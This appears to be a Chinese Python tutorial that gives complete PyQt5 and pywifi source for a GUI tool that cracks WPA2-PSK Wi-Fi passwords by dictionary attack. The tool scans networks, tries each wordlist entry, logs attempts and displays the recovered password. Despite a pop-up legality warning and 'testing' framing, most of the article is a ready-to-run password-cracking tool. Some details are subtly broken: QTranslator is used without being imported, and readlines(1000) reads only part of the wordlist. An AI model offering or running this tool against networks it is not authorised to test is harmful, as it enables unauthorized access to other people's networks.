Python制作一個WiFi密碼測試工具
1. 簡介
這款工具的目的是通過字典攻擊方式幫助用戶測試 Wi-Fi 網(wǎng)絡(luò)的安全性。通過選擇合適的無線網(wǎng)卡接口、目標(biāo) Wi-Fi 網(wǎng)絡(luò)和密碼字典文件,用戶可以在界面上實(shí)時看到測試進(jìn)度、日志和最終結(jié)果。
以下是詳細(xì)的功能介紹:
1. Wi-Fi 接口選擇
功能:允許用戶選擇無線網(wǎng)卡接口。
實(shí)現(xiàn):通過 pywifi.PyWiFi() 獲取所有可用的無線網(wǎng)卡接口,并在界面中顯示供用戶選擇。
2. Wi-Fi 網(wǎng)絡(luò)掃描
功能:掃描可用的 Wi-Fi 網(wǎng)絡(luò)并顯示在下拉列表中。
實(shí)現(xiàn):選擇無線網(wǎng)卡接口后,點(diǎn)擊“刷新列表”按鈕,程序?qū)呙璨⒘谐鏊锌捎玫?Wi-Fi 網(wǎng)絡(luò)(SSID)。
3. 字典文件選擇
功能:用戶選擇一個密碼字典文件,工具將用字典中的密碼嘗試連接到目標(biāo) Wi-Fi 網(wǎng)絡(luò)。
實(shí)現(xiàn):用戶可以通過拖放或點(diǎn)擊“選擇字典文件”按鈕,選擇一個 .txt 格式的密碼字典文件。每個字典文件中的密碼將逐一嘗試。
4. Wi-Fi 測試過程
功能:使用字典文件中的密碼嘗試連接到目標(biāo) Wi-Fi 網(wǎng)絡(luò),直到找到正確的密碼或遍歷完所有密碼。
實(shí)現(xiàn):
- 使用 pywifi 庫來創(chuàng)建 Wi-Fi 配置文件并嘗試連接。
- 每個密碼嘗試后,更新日志并顯示嘗試的密碼。
- 如果連接成功,顯示成功密碼;如果失敗,則繼續(xù)嘗試下一個密碼。
- 支持設(shè)置最大等待時間(例如 5 秒)來檢查連接是否成功。
5. 進(jìn)度條
功能:實(shí)時顯示破解進(jìn)度。
實(shí)現(xiàn):在破解過程中,每次嘗試密碼后更新進(jìn)度條,顯示當(dāng)前已嘗試密碼的百分比。
6. 日志顯示
功能:記錄并實(shí)時顯示破解過程中的日志信息。
實(shí)現(xiàn):所有的日志信息(如密碼嘗試、連接成功、失敗等)會在界面上以文本形式實(shí)時更新,供用戶查看。
7. 開始/停止測試
功能:用戶可以開始或停止測試過程。
實(shí)現(xiàn):點(diǎn)擊“開始測試”按鈕時,程序會啟動一個后臺線程,執(zhí)行 Wi-Fi 測試操作。點(diǎn)擊“停止測試”按鈕時,用戶可以中止破解操作。
8. 合法性警告
功能:在應(yīng)用啟動時,給出使用工具的合法性警告,提醒用戶本工具僅供測試自己的網(wǎng)絡(luò)安全性,禁止用于非法用途。
實(shí)現(xiàn):彈出一個消息框,顯示合法性警告。如果用戶選擇取消,則關(guān)閉程序。
9. 密碼破解成功提示
功能:在成功測試出 Wi-Fi 密碼時,彈出提示框告知用戶破解結(jié)果。
實(shí)現(xiàn):當(dāng)測試成功后,彈出一個信息框,顯示測試的密碼。
10. 停止測試
功能:用戶可以隨時停止正在進(jìn)行的破解過程。
實(shí)現(xiàn):通過 CrackThread 中的 stop() 方法,停止當(dāng)前的測試線程。
2. 運(yùn)行效果
3. 相關(guān)源碼
import sys import os import time from PyQt5.QtWidgets import ( QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget, QLabel, QTextBrowser, QFileDialog, QProgressBar, QComboBox, QMessageBox, QLineEdit, QHBoxLayout ) from PyQt5.QtCore import QThread, pyqtSignal, QTimer from datetime import datetime import pywifi from pywifi import const class DragDropLineEdit(QLineEdit): def __init__(self, parent=None): super().__init__(parent) self.setAcceptDrops(True) def dragEnterEvent(self, event): if event.mimeData().hasUrls(): event.accept() else: event.ignore() def dropEvent(self, event): if event.mimeData().hasUrls(): file_path = event.mimeData().urls()[0].toLocalFile() if os.path.isfile(file_path): self.setText(file_path) else: event.ignore() else: event.ignore() class CrackThread(QThread): update_progress = pyqtSignal(int) update_log = pyqtSignal(str) success_signal = pyqtSignal(str) def __init__(self, wifi_name, dictionary_path, iface): super(CrackThread, self).__init__() self.wifi_name = wifi_name self.dictionary_path = dictionary_path self.iface = iface self.running = True def emit_log_with_time(self, message): timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]") self.update_log.emit(f"{timestamp} {message}") def run(self): if not os.path.exists(self.dictionary_path): self.emit_log_with_time("[!] 密碼字典文件不存在!") return self.emit_log_with_time("開始破解...") with open(self.dictionary_path, "r", encoding="utf-8") as file: passwords = file.readlines(1000) # 每次讀取1000行 total_passwords = len(passwords) for idx, password in enumerate(passwords): if not self.running: self.emit_log_with_time("[!] 破解已停止。") break password = password.strip() # 去除多余空格和換行符 self.emit_log_with_time(f"[-] 測試密碼: {password}") if self.wifi_connect(password): self.emit_log_with_time(f"[+] 成功連接!密碼:{password}") self.success_signal.emit(password) self.update_progress.emit(100) return self.update_progress.emit(int((idx + 1) / total_passwords * 100)) self.emit_log_with_time("[!] 破解失敗,嘗試其他字典文件。") def wifi_connect(self, pwd): try: # 創(chuàng)建WiFi配置文件 profile = pywifi.Profile() profile.ssid = self.wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd # 清除所有配置文件 self.iface.remove_all_network_profiles() tep_profile = self.iface.add_network_profile(profile) # 連接WiFi self.iface.connect(tep_profile) start_time = time.time() # 等待連接結(jié)果 while time.time() - start_time < 5: # 延長等待時間到5秒 status = self.iface.status() if status == const.IFACE_CONNECTED: self.iface.disconnect() # 連接成功后斷開,避免干擾后續(xù)操作 return True elif status == const.IFACE_DISCONNECTED: time.sleep(1) # 給網(wǎng)卡足夠時間反應(yīng) self.iface.disconnect() # 確保清理狀態(tài) return False except Exception as e: self.emit_log_with_time(f"[!] 連接時發(fā)生錯誤: {e}") return False def stop(self): self.running = False class WiFiCrackerUI(QMainWindow): def __init__(self): super().__init__() self.initUI() self.thread = None def initUI(self): self.setWindowTitle("WiFi破解工具") self.setGeometry(100, 100, 378, 532) self.set_ui_styles() self.show_legal_warning() layout = QVBoxLayout() self.interface_label = QLabel("選擇無線網(wǎng)卡接口:") self.interface_list = QComboBox() self.refresh_interface_list() layout.addWidget(self.interface_label) layout.addWidget(self.interface_list) wifi_layout = QHBoxLayout() self.wifi_label = QLabel("WiFi 名稱:") self.wifi_list = QComboBox() self.refresh_wifi_button = QPushButton("刷新列表") self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list) wifi_layout.addWidget(self.wifi_label) wifi_layout.addWidget(self.wifi_list) wifi_layout.addWidget(self.refresh_wifi_button) layout.addLayout(wifi_layout) self.path_label = QLabel("密碼字典路徑:") self.path_input = DragDropLineEdit() self.browse_button = QPushButton("選擇字典文件(.txt)") self.browse_button.clicked.connect(self.browse_file) layout.addWidget(self.path_label) layout.addWidget(self.path_input) layout.addWidget(self.browse_button) self.log_browser = QTextBrowser() layout.addWidget(self.log_browser) self.progress_bar = QProgressBar() layout.addWidget(self.progress_bar) self.start_button = QPushButton("開始破解") self.start_button.clicked.connect(self.start_cracking) self.stop_button = QPushButton("停止破解") self.stop_button.clicked.connect(self.stop_cracking) layout.addWidget(self.start_button) layout.addWidget(self.stop_button) container = QWidget() container.setLayout(layout) self.setCentralWidget(container) self.refresh_wifi_list() def set_ui_styles(self): self.setStyleSheet(""" QPushButton { background-color: #4CAF50; color: white; border-radius: 5px; padding: 10px; } QPushButton:hover { background-color: #45a049; } QProgressBar { border: 2px solid #4CAF50; border-radius: 5px; text-align: center; } QTextBrowser { background-color: #f5f5f5; font-family: "Courier New"; border-radius: 5px; } """) def show_legal_warning(self): reply = QMessageBox.warning( self, "合法性警告", "本工具僅供測試自己網(wǎng)絡(luò)的安全性,禁止用于非法用途!\n" "使用本工具即表示您同意對所有行為自行負(fù)責(zé)。", QMessageBox.Ok | QMessageBox.Cancel, ) if reply == QMessageBox.Cancel: self.close() # 如果用戶選擇取消,退出程序 def load_translations(self, language_code="en"): translator = QTranslator() if language_code == "zh": translator.load(":/translations/zh_CN.qm") else: translator.load(":/translations/en_US.qm") app.installTranslator(translator) def refresh_interface_list(self): wifi = pywifi.PyWiFi() self.interface_list.clear() for iface in wifi.interfaces(): self.interface_list.addItem(iface.name()) def refresh_wifi_list(self): self.wifi_list.clear() iface_name = self.interface_list.currentText() if not iface_name: self.log_browser.append("[!] 請先選擇 Wi-Fi 接口!") return try: wifi = pywifi.PyWiFi() iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name) iface.scan() self.log_browser.append("[+] 網(wǎng)絡(luò)掃描開始...") QTimer.singleShot(2000, self.on_scan_complete) # 2秒后回調(diào)掃描結(jié)果 except Exception as e: self.log_browser.append(f"[!] 刷新 Wi-Fi 列表時出錯: {e}") def on_scan_complete(self): iface_name = self.interface_list.currentText() wifi = pywifi.PyWiFi() iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name) results = iface.scan_results() seen_ssids = set() for network in results: ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore') if ssid and ssid not in seen_ssids: self.wifi_list.addItem(ssid) seen_ssids.add(ssid) self.log_browser.append("[+] Wi-Fi 列表刷新完成。") def browse_file(self): file_path, _ = QFileDialog.getOpenFileName(self, "選擇密碼字典文件", "", "文本文件 (*.txt)") if file_path: if not file_path.endswith('.txt'): self.log_browser.append("[!] 請選擇一個有效的文本文件!") return self.path_input.setText(file_path) def start_cracking(self): if self.thread and self.thread.isRunning(): self.log_browser.append("[!] 破解已經(jīng)在運(yùn)行中,請等待完成。") return wifi_name = self.wifi_list.currentText().strip() dictionary_path = self.path_input.text().strip() if not wifi_name or not dictionary_path: self.log_browser.append("[!] 請?zhí)顚懲暾畔ⅲ?) return try: wifi = pywifi.PyWiFi() iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText()) iface.disconnect() time.sleep(1) if iface.status() != const.IFACE_DISCONNECTED: self.log_browser.append("[!] 無法斷開當(dāng)前連接。") return except Exception as e: self.log_browser.append(f"[!] 無法初始化無線網(wǎng)卡: {e}") return self.thread = CrackThread(wifi_name, dictionary_path, iface) self.thread.update_log.connect(self.log_browser.append) self.thread.update_progress.connect(self.progress_bar.setValue) self.thread.success_signal.connect(self.show_success_message) self.thread.start() def stop_cracking(self): if self.thread and self.thread.isRunning(): self.thread.stop() def show_success_message(self, password): QMessageBox.information(self, "破解成功", f"Wi-Fi 密碼是: {password}") if __name__ == "__main__": app = QApplication(sys.argv) window = WiFiCrackerUI() window.show() sys.exit(app.exec_())
到此這篇關(guān)于Python制作一個WiFi密碼測試工具的文章就介紹到這了,更多相關(guān)Python WiFi密碼測試內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
python樹莓派通過隊(duì)列實(shí)現(xiàn)進(jìn)程交互的程序分析
這篇博客就結(jié)合實(shí)際的python程序通過隊(duì)列實(shí)現(xiàn)進(jìn)程交互,通過程序分析需要的庫函數(shù),對python樹莓派進(jìn)程交互相關(guān)知識感興趣的朋友一起看看吧2021-07-07Python中zip()函數(shù)用法實(shí)例教程
這篇文章主要介紹了Python中zip()函數(shù)用法實(shí)例教程,對Python初學(xué)者有一定的借鑒價值,需要的朋友可以參考下2014-07-07Python?Pygame實(shí)戰(zhàn)之紅心大戰(zhàn)游戲的實(shí)現(xiàn)
說起Windows自帶的游戲,相信許多80、90后的朋友都不陌生。本文就將利用Python中的Pygame模塊實(shí)現(xiàn)一下windows經(jīng)典游戲之一的紅心大戰(zhàn),需要的可以參考一下2022-02-02Visual Studio code 配置Python開發(fā)環(huán)境
這篇文章主要介紹了Visual Studio code 配置Python開發(fā)環(huán)境,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-09-09python實(shí)現(xiàn)ftp文件傳輸系統(tǒng)(案例分析)
最近做了一個簡單的文件傳輸系統(tǒng),基于ftp協(xié)議,使用python語言開發(fā),雖然python里面已經(jīng)有ftplib模塊,可以很容易的實(shí)現(xiàn)ftp服務(wù)器,這篇文章主要介紹了python實(shí)現(xiàn)ftp文件傳輸系統(tǒng)的案例分析,需要的朋友可以參考下2020-03-03python3中_from...import...與import?...之間的區(qū)別詳解(包/模塊)
Python編碼第一步是導(dǎo)入模塊,有時候用import?***有時候用from...import,下面這篇文章主要給大家介紹了關(guān)于python3中_from...import...與import?...之間區(qū)別的相關(guān)資料,需要的朋友可以參考下2022-08-08Streamlit+Echarts實(shí)現(xiàn)繪制精美圖表
在數(shù)據(jù)分析和可視化的領(lǐng)域,選擇合適的工具可以讓我們事半功倍,本文主要為大家介紹兩個工具,Streamlit和ECharts,感興趣的小伙伴可以跟隨小編一起了解下2023-09-09